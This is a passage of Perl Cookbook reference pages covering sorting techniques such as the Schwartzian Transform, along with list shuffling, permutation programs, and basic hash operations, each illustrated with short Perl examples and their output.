
A word of warning: $a and $b are set in the package active in the call to sort, which may not be the same as the one that the SUBNAME function passed to sort was compiled in! For example:

package Sort_Subs;
sub revnum { $b <=> $a }

package Other_Pack;
@all = sort Sort_Subs::revnum 4, 19, 8, 3;

This will silently fail (unless you have -w in effect, in which case it will vocally fail), because the sort call sets the package variables $a and $b in its own package, Other_Pack, but the revnum function uses its own package's versions. This is another reason why in-lining sort functions is easier, as in:

@all = sort { $b <=> $a } 4, 19, 8, 3;

For more on packages, see Chapter 10, Subroutines.

See Also

The cmp and <=> operators in perlop (1) and Chapter 2 of Programming Perl; the kill, sort, and sleep functions in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 4.15

Previous: 4.13. Finding All Elements in an Array Matching Certain Criteria | Perl Cookbook | Next: 4.15. Sorting a List by Computable Field
4.13. Finding All Elements in an Array Matching Certain Criteria | Book Index | 4.15. Sorting a List by Computable Field


Recipe 4.15. Sorting a List by Computable Field

Perl CookbookSearch this book

4.15. Sorting a List by Computable Field

Problem

You want to sort a list by something more complex than a simple string or numeric comparison.

This is common when working with objects ("sort by the employee's salary") or complex data structures ("sort by the third element in the array that this is a reference to"). It's also applicable when you want to sort by more than one key, for instance, sorting by birthday and then by name when multiple people have the same birthday.

Solution

Use the customizable comparison routine in sort:

@ordered = sort { compare() } @unordered;

You can speed this up by precomputing the field.

@precomputed = map { [compute(),$_] } @unordered;
@ordered_precomputed = sort { $a->[0] <=> $b->[0] } @precomputed;
@ordered = map { $_->[1] } @ordered_precomputed;

And, finally, you can combine the three steps:

@ordered = map { $_->[1] }
           sort { $a->[0] <=> $b->[0] }
           map { [compute(), $_] }
           @unordered;

Discussion

The use of a comparison routine was explained in Recipe 4.14. As well as using built-in operators like <=>, you can construct more complex tests:

@ordered = sort { $a->name cmp $b->name } @employees;

You often see sort used like this in part of a foreach loop:

foreach $employee (sort { $a->name cmp $b->name } @employees) {
    print $employee->name, " earns \$", $employee->salary, "\n";
}

If you're going to do a lot of work with elements in a particular order, it's more efficient to sort it once and work from that:

@sorted_employees = sort { $a->name cmp $b->name } @employees;
foreach $employee (@sorted_employees) {
    print $employee->name, " earns \$", $employee->salary, "\n";
}
# load %bonus
foreach $employee (@sorted_employees) {
    if ( $bonus{ $employee->ssn } ) {
      print $employee->name, " got a bonus!\n";
    }
}

We can put multiple comparisons in the routine and separate them with ||. || is a short-circuit operator: it returns the first true (non-zero) value it finds. This means we can sort by one kind of comparison, but if the elements are equal (the comparison returns 0) we can sort by another. This has the effect of a sort within a sort:

@sorted = sort { $a->name cmp $b->name
                           ||
                  $b->age <=> $a->age } @employees;

This first considers the names of the two employees to be compared. If they're not equal, || stops and returns the result of the cmp (effectively sorting them in ascending order by name). If the names are equal, though, || keeps testing and returns the result of the <=> (sorting them in descending order by age). The result is a list that is sorted by name and by age within groups of the same name.

Let's look at a real-life example of sorting. Here we fetch all users, as User::pwent objects. Then we sort them by name and print the sorted list:

use User::pwent qw(getpwent);
@users = ();
# fetch all users
while (defined($user = getpwent)) {
    push(@users, $user);
}
    @users = sort { $a->name cmp $b->name } @users;
foreach $user (@users) {
    print $user->name, "\n";
}

We can have more than simple comparisons, or combinations of simple comparisons. This code sorts a list of names by comparing the second letters of the names. It gets the second letters by using substr:

@sorted = sort { substr($a,1,1) cmp substr($b,1,1) } @names;

and here we sort by length of the strings:

@sorted = sort { length $a <=> length $b } @strings;

The sort function calls the code block each time it needs to compare two elements, and the number of comparisons grows dramatically with the number of elements we're sorting. Sorting 10 elements requires (on average) 46 comparisons, but sorting 1,000 elements requires 14,000 comparisons. A time-consuming operation like a split or a subroutine call for each comparison can easily make your program crawl.

Fortunately, we can remove this bottleneck by running the operation once per element prior to the sort. Use map to store the results of the operation in an array whose elements are anonymous arrays containing both the computed field and the original field. Then we sort this array of arrays on the precomputed field, and use map to get the sorted original data. This map-sort-map concept is useful and common, so let's look at it in more depth.

Let's apply map-sort-map to the sorting by string length example:

@temp = map { [ length $_, $_ ] } @strings;
@temp = sort { $a->[0] <=> $b->[0] } @temp;
@sorted = map { $_->[1] } @temp;

The first line creates a temporary array of strings and their lengths, using map. The second line sorts the temporary array by comparing the precomputed lengths. The third line turns the sorted temporary array of strings and lengths back into a sorted array of strings. This way we calculated the length of each string only once.

Because the input to each line is the output of the previous line (the @temp array we make in line 1 is fed to sort in line 2, and that output is fed to map in line 3), we can combine it into one statement and eliminate the temporary array:

@sorted = map  { $_->[1] }
          sort { $a->[0] <=> $b->[0] }
          map  { [ length $_, $_ ] }
          @strings;

The operations now appear in reverse order. When you meet a map-sort-map, you should read it from the bottom up to determine the function:

@strings

The last part is the data to be sorted. Here it's just an array, but later we'll see that this can be a subroutine or even backticks. Anything that returns a list to be sorted is fair game.

map

The map closest to the bottom builds the temporary list of anonymous arrays. This list contains the precomputed fields (length $_ ) and also records the original element ($_ ) by storing them both in an anonymous array. Look at this map line to find out how the fields are computed.

sort

The sort line sorts the list of anonymous arrays by comparing the precomputed fields. It won't tell you much, other than whether the list is sorted in ascending or descending order.

map

The map at the top of the statement turns the sorted list of anonymous arrays back into a list of the sorted original elements. It will generally be the same for every map-sort-map.

Here's a more complicated example, which sorts by the first number that appears on each line in @fields:

@temp = map { [ /(\d+)/, $_ ] } @fields;
@sorted_temp = sort { $a->[0] <=> $b->[0] } @temp;
@sorted_fields = map { $_->[1] } @sorted_temp;

The regular expression mumbo-jumbo in the first line extracts the first number from the line being processed by map. We use the regular expression /(\d+)/ in a list context to extract the number.

We can remove the temporary arrays in that code, giving us:

@sorted_fields = map  { $_->[1] }
                 sort { $a->[0] <=> $b->[0] }
                 map  { [ /(\d+)/, $_ ] }
                 @fields;

This final example compactly sorts colon-separated data, as from Unix's passwd file. It sorts the file numerically by fourth field (group id), then numerically by the third field (user id), and then alphabetically by the first field (user name).

print map  { $_->[0] }             # whole line
      sort {
              $a->[1] <=> $b->[1]  # gid
                      ||
              $a->[2] <=> $b->[2]  # uid
                      ||
              $a->[3] cmp $b->[3]  # login
      }
      map  { [ $_, (split /:/)[3,2,0] ] }
      `cat /etc/passwd`;

This compact, map-sort-map technique is more reminiscent of the functional world of Lisp and Scheme programming than Perl's normal C and awk heritage. Because it was first pointed out by Randal Schwartz, this black art is often referred to as the Schwartzian Transform.

See Also

The sort function in perlfunc (1) and Chapter 3 of Programming Perl; the cmp and <=> operators in perlop (1) and Chapter 2 of Programming Perl; Recipe 4.14

Previous: 4.14. Sorting an Array Numerically | Perl Cookbook | Next: 4.16. Implementing a Circular List
4.14. Sorting an Array Numerically | Book Index | 4.16. Implementing a Circular List


Recipe 4.16. Implementing a Circular List

Perl CookbookSearch this book

4.16. Implementing a Circular List

Problem

You want to create and manipulate a circular list.

Solution

Use unshift and pop (or push and shift) on a normal array.

Procedure

unshift(@circular, pop(@circular));  # the last shall be first
push(@circular, shift(@circular));   # and vice versa

Discussion

Circular lists are commonly used to repeatedly process things in order; for example, connections to a server. The code shown above isn't a true computer science circular list, with pointers and true circularity. Instead, the operations provide for moving the last element to the first position, and vice versa.

sub grab_and_rotate ( \@ ) {
    my $listref = shift;
    my $element = $listref->[0];
    push(@$listref, shift @$listref);
    return $element;
}

@processes = ( 1, 2, 3, 4, 5 );
while (1) {
    $process = grab_and_rotate(@processes);
    print "Handling process $process\n";
    sleep 1;
}

See Also

The unshift and push functions in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 13.13

Previous: 4.15. Sorting a List by Computable Field | Perl Cookbook | Next: 4.17. Randomizing an Array
4.15. Sorting a List by Computable Field | Book Index | 4.17. Randomizing an Array


Recipe 4.17. Randomizing an Array

Perl CookbookSearch this book

4.17. Randomizing an Array

Problem

You want to shuffle the elements of an array randomly. The obvious application is writing a card game, where you must shuffle a deck of cards, but it is equally applicable to any situation where you want to deal with elements of an array in a random order.

Solution

Swap each element in the array with another randomly selected, element:

# fisher_yates_shuffle( \@array ) : generate a random permutation
# of @array in place
sub fisher_yates_shuffle {
    my $array = shift;
    my $i;
    for ($i = @$array; --$i; ) {
        my $j = int rand ($i+1);
        next if $i == $j;
        @$array[$i,$j] = @$array[$j,$i];
    }
}

fisher_yates_shuffle( \@array );    # permutes @array in place

Or, pick a random permutation using the code in Example 4.4:

$permutations = factorial( scalar @array );
@shuffle = @array [ n2perm( 1+int(rand $permutations), $#array ) ];

Discussion

Shuffling is a surprisingly tricky process. It's easy to write a bad shuffle:

sub naive_shuffle {                             # don't do this
    for (my $i = 0; $i < @_; $i++) {
        my $j = int rand @_;                    # pick random element
        ($_[$i], $_[$j]) = ($_[$j], $_[$i]);    # swap 'em
    }
}

This algorithm is biased; the list's possible permutations don't all have the same probability of being generated. The proof of this is simple: take the case where we're passed a 3-element list. We generate three random numbers, each of which can have three possible values, yielding 27 possible outcomes here. There are only 6 permutations of the 3-element list, though. Because 27 isn't evenly divisible by 6, some outcomes are more likely than others.

The Fisher-Yates shuffle avoids this bias by changing the range of the random numbers it selects.

See Also

The rand function in perlfunc (1) and Chapter 3 of Programming Perl; for more on random numbers, see Recipes Recipe 2.7, Recipe 2.8, and Recipe 2.9; Recipe 4.19 provides another way to select a random permutation

Previous: 4.16. Implementing a Circular List | Perl Cookbook | Next: 4.18. Program: words
4.16. Implementing a Circular List | Book Index | 4.18. Program: words


Recipe 4.18. Program: words

Perl CookbookSearch this book

4.18. Program: words

Description

Have you ever wondered how programs like ls generate columns of sorted output that you read down the columns instead of across the rows? For example:

awk      cp       ed       login    mount    rmdir    sum
basename csh      egrep    ls       mt       sed      sync
cat      date     fgrep    mail     mv       sh       tar
chgrp    dd       grep     mkdir    ps       sort     touch
chmod    df       kill     mknod    pwd      stty     vi
chown    echo     ln       more     rm       su

Example 4.2 does this.

Example 4.2: words

#!/usr/bin/perl -w
# words - gather lines, present in columns

use strict;

my ($item, $cols, $rows, $maxlen);
my ($xpixel, $ypixel, $mask, @data);

getwinsize();

# first gather up every line of input,
# remembering the longest line length seen
$maxlen = 1;
while (<>) {
    my $mylen;
    s/\s+$//;
    $maxlen = $mylen if (($mylen = length) > $maxlen);
    push(@data, $_);
}

$maxlen += 1;               # to make extra space

# determine boundaries of screen
$cols = int($cols / $maxlen) || 1;
$rows = int(($#data+$cols) / $cols);

# pre-create mask for faster computation
$mask = sprintf("%%-%ds ", $maxlen-1);

# subroutine to check whether at last item on line
sub EOL { ($item+1) % $cols == 0 }

# now process each item, picking out proper piece for this position
for ($item = 0; $item < $rows * $cols; $item++) {
    my $target =  ($item % $cols) * $rows + int($item/$cols);
    my $piece = sprintf($mask, $target < @data ? $data[$target] : "");
    $piece =~ s/\s+$// if EOL();  # don't blank-pad to EOL
    print $piece;
    print "\n" if EOL();
}

# finish up if needed
print "\n" if EOL();

# not portable -- linux only
sub getwinsize {
    my $winsize = "\0" x 8;
    my $TIOCGWINSZ = 0x40087468;
    if (ioctl(STDOUT, $TIOCGWINSZ, $winsize)) {
        ($rows, $cols, $xpixel, $ypixel) = unpack('S4', $winsize);
    } else {
        $cols = 80;
    }
}

The most obvious way to print out a sorted list in columns is to print each element of the list, one at a time, padded out to a particular width. When you're about to hit the end of the line, generate a newline. But that only works if you're planning on reading each row left to right. If you instead expect to read it down each column, this approach won't do.

The words program is a filter that generates output going down the columns. It reads all input, keeping track of the length of the longest line seen. Once everything has been read in, it divides the screen width by the length of the longest input record seen, yielding the expected number of columns.

Then the program goes into a loop that executes once per input record, but the output order isn't in the obvious order. Imagine you had a list of nine items:

Wrong       Right
-----       -----
1 2 3       1 4 7
4 5 6       2 5 8
7 8 9       3 6 9

The words program does the necessary calculations to print out elements (1,4,7) on one line, (2,5,8) on the next, and (3,6,9) on the last.

To figure out the current window size, this program does an ioctl call. This works fine - on the system it was written for. On any other system, it won't work. If that's good enough for you, then good for you. Recipe 12.14 shows how to find this on your system using the ioctl.ph file, or with a C program. Recipe 15.4 shows a more portable solution, but that requires installing a CPAN module.

See Also

Recipe 15.4

Previous: 4.17. Randomizing an Array | Perl Cookbook | Next: 4.19. Program: permute
4.17. Randomizing an Array | Book Index | 4.19. Program: permute


Recipe 4.19. Program: permute

Perl CookbookSearch this book

4.19. Program: permute

Problem

Have you ever wanted to generate all possible permutations of an array or to execute some code for every possible permutation? For example:

% echo man bites dog | permute
dog bites man
bites dog man
dog man bites
man dog bites
bites man dog
man bites dog

The number of permutations of a set is the factorial of the size of the set. This grows big extremely fast, so you don't want to run it on many permutations:

Set Size            Permutations
1                   1
2                   2
3                   6
4                   24
5                   120
6                   720
7                   5040
8                   40320
9                   362880
10                  3628800
11                  39916800
12                  479001600
13                  6227020800
14                  87178291200
15                  1307674368000

Doing something for each alternative takes a correspondingly large amount of time. In fact, factorial algorithms exceed the number of particles in the universe with very small inputs. The factorial of 500 is greater than ten raised to the thousandth power!

use Math::BigInt;
    sub factorial {
    my $n = shift;
    my $s = 1;
    $s *= $n-- while $n > 0;
    return $s;
}
print factorial(Math::BigInt->new("500"));
+1220136... (1035 digits total)

The two solutions that follow differ in the order of the permutations they return.

The solution in Example 4.3 uses a classic list permutation algorithm used by Lisp hackers. It's relatively straightforward but makes unnecessary copies. It's also hardwired to do nothing but print out its permutations.

Example 4.3: tsc-permute

#!/usr/bin/perl -n
# tsc_permute: permute each word of input
permute([split], []);
sub permute {
    my @items = @{ $_[0] };
    my @perms = @{ $_[1] };
    unless (@items) {
        print "@perms\n";
    } else {
        my(@newitems,@newperms,$i);
        foreach $i (0 .. $#items) {
            @newitems = @items;
            @newperms = @perms;
            unshift(@newperms, splice(@newitems, $i, 1));
            permute([@newitems], [@newperms]);
        }
    }
}

The solution in Example 4.4, provided by Mark-Jason Dominus, is faster (by around 25%) and more elegant. Rather than precalculate all permutations, his code generates the n th particular permutation. It is elegant in two ways. First, it avoids recursion except to calculate the factorial, which the permutation algorithm proper does not use. Second, it generates a permutation of integers rather than permute the actual data set.

He also uses a time-saving technique called memoizing. The idea is that a function that always returns a particular answer when called with a particular argument memorizes that answer. That way, the next time it's called with the same argument, no further calculations are required. The factorial function uses a private array @fact to remember previously calculated factorial values as described in Recipe 10.3.

You call n2perm with two arguments: the permutation number to generate (from 0 to factorial(N), where N is the size of your array) and the subscript of the array's last element. The n2perm function calculates directions for the permutation in the n2pat subroutine. Then it converts those directions into a permutation of integers in the pat2perm subroutine. The directions are a list like (0 2 0 1 0), which means: "Splice out the 0th element, then the second element from the remaining list, then the 0th element, then the first, then the 0th."

Example 4.4: mjd-permute

#!/usr/bin/perl -w
# mjd_permute: permute each word of input
use strict;

while (<>) {
    my @data = split;
    my $num_permutations = factorial(scalar @data);
    for (my $i=0; $i < $num_permutations; $i++) {
        my @permutation = @data[n2perm($i, $#data)];
        print "@permutation\n";
    }
}

# Utility function: factorial with memoizing
BEGIN {
  my @fact = (1);
  sub factorial($) {
      my $n = shift;
      return $fact[$n] if defined $fact[$n];
      $fact[$n] = $n * factorial($n - 1);
  }
}

# n2pat($N, $len) : produce the $N-th pattern of length $len
sub n2pat {
    my $i   = 1;
    my $N   = shift;
    my $len = shift;
    my @pat;
    while ($i <= $len + 1) {   # Should really be just while ($N) { ...
        push @pat, $N % $i;
        $N = int($N/$i);
        $i++;
    }
    return @pat;
}

# pat2perm(@pat) : turn pattern returned by n2pat() into
# permutation of integers.  XXX: splice is already O(N)
sub pat2perm {
    my @pat    = @_;
    my @source = (0 .. $#pat);
    my @perm;
    push @perm, splice(@source, (pop @pat), 1) while @pat;
    return @perm;
}

# n2perm($N, $len) : generate the Nth permutation of $len objects
sub n2perm {
    pat2perm(n2pat(@_));
}

See Also

unshift and splice in perlfunc (1) or Chapter 3 of Programming Perl; the sections discussing closures in perlsub (1) and perlref (1) and Chapter 2 of Programming Perl; Recipe 2.7; Recipe 10.3

Previous: 4.18. Program: words | Perl Cookbook | Next: 5. Hashes
4.18. Program: words | Book Index | 5. Hashes


[Chapter 5] Hashes

Perl CookbookSearch this book
Previous: 4.19. Program: permute Chapter 5 Next: 5.1. Adding an Element to a Hash

5. Hashes

Contents:
Introduction
Adding an Element to a Hash
Testing for the Presence of a Key in a Hash
Deleting from a Hash
Traversing a Hash
Printing a Hash
Retrieving from a Hash in Insertion Order
Hashes with Multiple Values Per Key
Inverting a Hash
Sorting a Hash
Merging Hashes
Finding Common or Different Keys in Two Hashes
Hashing References
Presizing a Hash
Finding the Most Common Anything
Representing Relationships Between Data
Program: dutree

Doing linear scans over an associative array is like trying to club someone to death with a loaded Uzi.

- Larry Wall

5.0. Introduction

People and parts of computer programs interact in all sorts of ways. Single scalar variables are like hermits, living a solitary existence whose only meaning comes from within the individual. Arrays are like cults, where multitudes marshal themselves under the name of a charismatic leader. In the middle lies the comfortable, intimate ground of the one-to-one relationship that is the hash. (Older documentation for Perl often called hashes associative arrays, but that's a mouthful. Other languages that support similar constructs sometimes use different terms for them; you may hear about hash tables, tables, dictionaries, mappings, or even alists, depending on the language.)

Unfortunately, this isn't a relationship of equals. Hashes are an of relationship, like saying "Andy is the boss of Nat," "The blood pressure of our patient is 112/62," and "The name of journal ISSN 1087-903X is The Perl Journal." Hashes only give convenient ways to access values for "Nat's boss" and "1087-903X's name"; you can't ask "Whose boss is Andy?" Finding the answer to that question is a recipe in this chapter.

Fortunately, hashes have their benefits, just like relationships. Hashes are a built-in data type in Perl. Their use reduces many complex algorithms to simple variable accesses. They are also fast and convenient ways to build indices and quick lookup tables.

It's time to put a name to these notions. The relationship embodied in a hash is a good thing to use for its name. For instance, the relationships in the examples above are boss of, blood pressure of, and name of. We'd give them Perl names %boss, %blood_ pressure, and %name. Where a lone scalar has $ as its type identifier and an entire array has @, a hash has %.

Only use the % when referring to the hash as a whole, such as %boss. When referring to the value for a key, it's a single scalar value and so a $ is called for, just as when referring to one element of an array you also use a $. This means that "the boss of Nat" would be written as $boss{"Nat"}.

A regular array uses whole numbers for indices, but the indices of a hash are always strings. Its values may be any arbitrary scalar values, including references. Using references as values, you can create hashes that hold not merely strings or numbers, but also arrays, other hashes, or objects. (Or rather, references to arrays, hashes, or objects.)

A hash can be initialized with a list, where elements of the list are key and value pairs:

%age = ( "Nat",   24,
         "Jules", 25,
         "Josh",  17  );

This is equivalent to:

$age{"Nat"}   = 24;
$age{"Jules"} = 25;
$age{"Josh"}  = 17;

To make it easier to read and write hash initializations, the => operator, sometimes known as a comma arrow, was created. Mostly it behaves as a better-looking comma. For example, you can write a hash initialization this way:

%food_color = (
               "Apple"  => "red",
               "Banana" => "yellow",
               "Lemon"  => "yellow",
               "Carrot" => "orange"
              );

(This particular hash is used in many examples in this chapter.) This initialization is also an example of hash-list equivalence - hashes behave in some ways as though they were lists of key-value pairs. We'll use this in a number of recipes, including the merging and inverting recipes.

Unlike a regular comma, the comma arrow has a special property: It quotes any word preceding it, which means you can safely omit the quotes and improve legibility. Single-word hash keys are also automatically quoted, which means you can write $hash{somekey} instead of $hash{"somekey"}. You could rewrite the preceding initialization of %food_color as:

%food_color = (
                Apple  => "red",
                Banana => "yellow",
                Lemon  => "yellow",
                Carrot => "orange"
               );

One important issue to be aware of regarding hashes is that their elements are stored in an internal order convenient for efficient retrieval. This means that no matter what order you insert your data, it will come out in an unpredictable disorder.

See Also

The unshift and splice functions in perlfunc (1) and Chapter 3 of Programming Perl; the discussions of closures in perlsub (1) and perlref (1); and Chapter 4 of Programming Perl

Previous: 4.19. Program: permute | Perl Cookbook | Next: 5.1. Adding an Element to a Hash
4.19. Program: permute | Book Index | 5.1. Adding an Element to a Hash


Recipe 5.1. Adding an Element to a Hash

Perl CookbookSearch this book

5.1. Adding an Element to a Hash

Problem

You need to add an entry to a hash.

Solution

Simply assign to the hash key:

$HASH{$KEY} = $VALUE;

Discussion

Putting something into a hash is straightforward. In languages that don't provide the hash as an intrinsic data type, you have to worry about overflows, resizing, and collisions in your hash table. In Perl, all that is taken care of for you with a simple assignment. If that entry was already occupied (had a previous value), memory for that value is automatically freed, just as when assigning to a simple scalar.

# %food_color defined per the introduction
$food_color{Raspberry} = "pink";
print "Known foods:\n";
foreach $food (keys %food_color) {
    print "$food\n";
}

Known foods:
Banana
Apple
Raspberry
Carrot
Lemon

If you store undef as a hash key, it gets stringified to "" (and generates a warning if your program is running under -w). Using undef as a key is probably not what you want. On the other hand, undef is a valid value in a hash. But if you fetch the value for a key that isn't in the hash, you'll also get undef. This means you can't use the simple Boolean test if ($hash{$key}) to see whether there is an entry in %hash for $key. Use exists($hash{$key}) to test whether a key is in the hash, defined($hash{$key}) to test if the corresponding value is not undef, and if ($hash{$key}) to test if the corresponding value is a true value.

In Perl's hashing algorithm, permutations of a string hash to the same spot internally. If your hash contains as keys many permutations of the same string, like "sparc" and "craps", hash performance can degrade noticeably. In practice, this seldom occurs.

See Also

The "List Value Constructors" section of perldata (1); the "List Values and Arrays" section of Chapter 2 of Programming Perl; Recipe 5.2

Previous: 5.0. Introduction | Perl Cookbook | Next: 5.2. Testing for the Presence of a Key in a Hash
5.0. Introduction | Book Index | 5.2. Testing for the Presence of a Key in a Hash


Recipe 5.2. Testing for the Presence of a Key in a Hash

Perl CookbookSearch this book

5.2. Testing for the Presence of a Key in a Hash

Problem

You need to know whether a hash has a particular key, regardless of any possible associated value.

Solution

Use the exists function.

# does %HASH have a value for $KEY ?
if (exists($HASH{$KEY})) {
    # it exists
} else {
    # it doesn't
}

Discussion

This code uses exists to check whether a key is in the %food_color hash:

# %food_color per the introduction
foreach $name ("Banana", "Martini") {
    if (exists $food_color{$name}) {
        print "$name is a food.\n";
    } else {
        print "$name is a drink.\n";
    }
}

Banana is a food.
Martini is a drink.

The exists function tests whether a key is in the hash. It doesn't test whether the value corresponding to that key is defined, nor whether the value is true or false. We may be splitting hairs, but problems caused by confusing existence, definedness, and truth can multiply like rabbits. Take this code:

%age = ();
$age{"Toddler"} = 3;
$age{"Unborn"} = 0;
$age{"Phantasm"} = undef;

foreach $thing ("Toddler", "Unborn", "Phantasm", "Relic") {
    print "$thing: ";
    print "Exists " if exists $age{$thing};
    print "Defined " if defined $age{$thing};
    print "True " if $age{$thing};
    print "\n";
}

Toddler: Exists Defined True
Unborn: Exists Defined
Phantasm: Exists
Relic:

$age{"Toddler"} passes the existence, definedness, and truth tests. It exists because we gave "Toddler" a value in the hash, it's defined because that value isn't undef, and it's true because the value isn't one of Perl's false values.

$age{"Unborn"} passes only the existence and definedness tests. It exists because we gave "Unborn" a value in the hash, and it's defined because that value isn't undef. It isn't true, however, because 0 is one of Perl's false values.

$age{"Phantasm"} passes only the existence test. It exists because we gave "Phantasm" a value in the hash. Because that value was undef, it doesn't pass the definedness test. Because undef is also one of Perl's false values, it doesn't pass the truth test either.

$age{"Relic"} passes none of the tests. We didn't put a value for "Relic" into the hash, so the existence test fails. Because we didn't put a value in, $age{"Relic"} is undef whenever we try to access it. We know from "Phantasm" that undef fails the definedness and truth tests.

Sometimes it's useful to store undef in a hash. This indicates "I've seen this key, but it didn't have a meaningful value associated with it." Take, for instance, a program to look up file sizes given a list of files as input. This version tries to skip files we've seen before, but it doesn't skip zero-length files, and it doesn't skip files that we've seen before but don't exist.

%size = ();
while (<>) {
    chomp;
    next if $size{$_};              # WRONG attempt to skip
    $size{$_} = -s $_;
}

If we change the incorrect line to call exists, we also skip files that couldn't be statted, instead of repeatedly trying (and failing) to look them up:

    next if exists $size{$_};

The food and drink code above assumes that which is not food must be a drink. This is a dangerous assumption to make in the real world.

See Also

The exists and defined functions in perlfunc (1) and Chapter 3 of Programming Perl; the discussion of truth in the "Scalar Values" section of perldata (1), and the "Boolean Context" section of Chapter 2 of Programming Perl.

Previous: 5.1. Adding an Element to a Hash | Perl Cookbook | Next: 5.3. Deleting from a Hash
5.1. Adding an Element to a Hash | Book Index | 5.3. Deleting from a Hash


Recipe 5.3. Deleting from a Hash

Perl CookbookSearch this book

5.3. Deleting from a Hash

Problem

You want to remove an entry from a hash so that it doesn't show up with keys, values, or each. If you were using a hash to associate salaries with employees, and an employee resigned, you'd want to remove their entry from the hash.

Solution

Use the delete function:

# remove $KEY and its value from %HASH
delete($HASH{$KEY});

Discussion

Sometimes people mistakenly try to use undef to remove an entry from a hash. undef $hash{$key} and $hash{$key} = undef both make %hash have an entry with key $key and value undef.

The delete function is the only way to remove a specific entry from a hash. Once you've deleted a key, it no longer shows up in a keys list or an each iteration, and exists will return false for that key.

This demonstrates the difference between undef and delete:

# %food_color as per Introduction
sub print_foods {
    my @foods = keys %food_color;
    my $food;

    print "Keys: @foods\n";
    print "Values: ";

    foreach $food (@foods) {
        my $color = $food_color{$food};

        if (defined $color) {
            print "$color ";
        } else {
            print "(undef) ";
        }
    }
    print "\n";
}

print "Initially:\n";
print_foods();

print "\nWith Banana undef\n";
undef $food_color{"Banana"};
print_foods();

print "\nWith Banana deleted\n";
delete $food_color{"Banana"};
print_foods();

Initially:
Keys: Banana Apple Carrot Lemon
Values: yellow red orange yellow

With Banana undef
Keys: Banana Apple Carrot Lemon
Values: (undef) red orange yellow

With Banana deleted
Keys: Apple Carrot Lemon
Values: red orange yellow

As you see, if we set $food_color{"Banana"} to undef, "Banana" still shows up as a key in the hash. The entry is still there; we only succeeded in making the value undef. On the other hand, delete actually removed it from the hash - "Banana" is no longer in the list returned by keys.

delete can also take a hash slice, deleting all listed keys at once:

delete @food_color{"Banana", "Apple", "Cabbage"};

See Also

The delete and keys functions in perlfunc (1) and in Chapter 3 of Programming Perl; we use keys in Recipe 5.4

Previous: 5.2. Testing for the Presence of a Key in a Hash | Perl Cookbook | Next: 5.4. Traversing a Hash
5.2. Testing for the Presence of a Key in a Hash | Book Index | 5.4. Traversing a Hash


Recipe 5.4. Traversing a Hash

Perl CookbookSearch this book

5.4. Traversing a Hash

Problem

You want to perform an action on each entry (i.e., each key-value pair) in a hash.

Solution

Use each with a while loop:

while(($key, $value) = each(%HASH)) {
    # do something with $key and $value
}

Or use keys with a foreach loop, unless the hash is potentially very large:

foreach $key (keys %HASH) {
    $value = $HASH{$key};
    # do something with $key and $value
}

Discussion

Here's a simple example, iterating through the %food_color hash from the introduction.

# %food_color per the introduction
while(($food, $color) = each(%food_color)) {
    print "$food is $color.\n";
}
Banana is yellow.
Apple is red.
Carrot is orange.
Lemon is yellow.

foreach $food (keys %food_color) {
    my $color = $food_color{$food};
    print "$food is $color.\n";
}
Banana is yellow.
Apple is red.
Carrot is orange.
Lemon is yellow.

We didn't really need the $color variable in the foreach example because we only use it once. Instead, we could have just written:

print "$food is $food_color{$food}.\n"

Every time each is called on the same hash, it returns the "next" key-value pair. We say "next" because the pairs are returned in the order the underlying lookup structure imposes on them, and this order is almost never alphabetic or numeric. When each runs out of hash elements, it returns the empty list (), which tests false and terminates the while loop.

The foreach example uses keys, which constructs an entire list containing every key from hash, before the loop even begins executing. The advantage to using each is that it gets the keys and values one pair at a time. If the hash contains many keys, not having to pre-construct a complete list of them can save substantial memory. The each function, however, doesn't let you control the order in which pairs are processed.

Using foreach and keys to loop over the list lets you impose an order. For instance, if we wanted to print the food names in alphabetical order:

foreach $food (sort keys %food_color) {
    print "$food is $food_color{$food}.\n";
}
Apple is red.
Banana is yellow.
Carrot is orange.
Lemon is yellow.

This is a common use of foreach. We use keys to obtain a list of keys in the hash, and then we use foreach to iterate over them. The danger is that if the hash contains a large number of elements, the list returned by keys will use a lot of memory. The trade-off lies between memory use and the ability to process the entries in a particular order. We cover sorting in more detail in Recipe 5.9.

Because keys, values, and each all use the same internal data structures, be careful about mixing calls to these functions or prematurely exiting an each loop. Each time you call keys or values, the current location for each is reset. This code loops forever, printing the first key returned by each:

while ( ($k,$v) = each %food_color ) {
    print "Processing $k\n";
    keys %food_color;               # goes back to the start of %food_color
}

Modifying a hash while looping over it with each or foreach is, in general, fraught with danger. The each function can behave differently with tied and untied hashes when you add or delete keys from a hash. A foreach loops over a pre-generated list of keys, so once the loop starts, foreach can't know whether you've added or deleted keys. Keys added in the body of the loop aren't automatically appended to the list of keys to loop over, nor are keys deleted by the body of the loop deleted from this list.

Example 5.1 reads a mailbox file and reports on the number of messages from each person. It uses the From: line to determine the sender. (It isn't smart in this respect, but we're showing hash manipulation, not mail-file processing.) Supply the mailbox filename as a command-line argument, or use "-" to indicate you're piping the mailbox to the program.

Example 5.1: countfrom

#!/usr/bin/perl
# countfrom - count number of messages from each sender

$filename = $ARGV[0] || "-";

open(FILE, "<$filename")            or die "Can't open $filename : $!";

while(<FILE>) {
    if (/^From: (.*)/) { $from{$1}++ }
}

foreach $person (sort keys %from) {
    print "$person: $from{$person}\n";
}

See Also

The each and keys functions in perlfunc (1) and in Chapter 3 of Programming Perl; we talk about for and foreach in Recipe 4.5

Previous: 5.3. Deleting from a Hash | Perl Cookbook | Next: 5.5. Printing a Hash
5.3. Deleting from a Hash | Book Index | 5.5. Printing a Hash


Recipe 5.5. Printing a Hash

Perl CookbookSearch this book

5.5. Printing a Hash

Problem

You want to print a hash, but neither print "%hash" nor print %hash works.

Solution

One of several approaches is to iterate over every key-value pair in the hash using Recipe 5.4, and print them:

while ( ($k,$v) = each %hash ) {
    print "$k => $v\n";
}

Or use map to generate a list of strings:

print map { "$_ => $hash{$_}\n" } keys %hash;

Or use the interpolation trick from Recipe 1.10 to interpolate the hash as a list:

print "@{[ %hash ]}\n";

Or use a temporary array variable to hold the hash, and print that:

{
    my @temp = %hash;
    print "@temp";
}

Discussion

The methods differ in the degree that their output is customizable in order and formatting and in their efficiency.

The first method, iterating over the hash, is very flexible and space-efficient. You can format the output as you like it, and it only requires two scalar variables: the current key and value. You can print the hash in key order (at the cost of building a list of sorted keys) if you use a foreach loop.

foreach $k (sort keys %hash) {
    print "$k => $hash{$k}\n";
}

The map function is just as flexible. You can still process the list in any order by sorting the keys. You can customize the output to your heart's content. But it builds up a list of strings like "KEY =>VALUE\n" to pass to print.

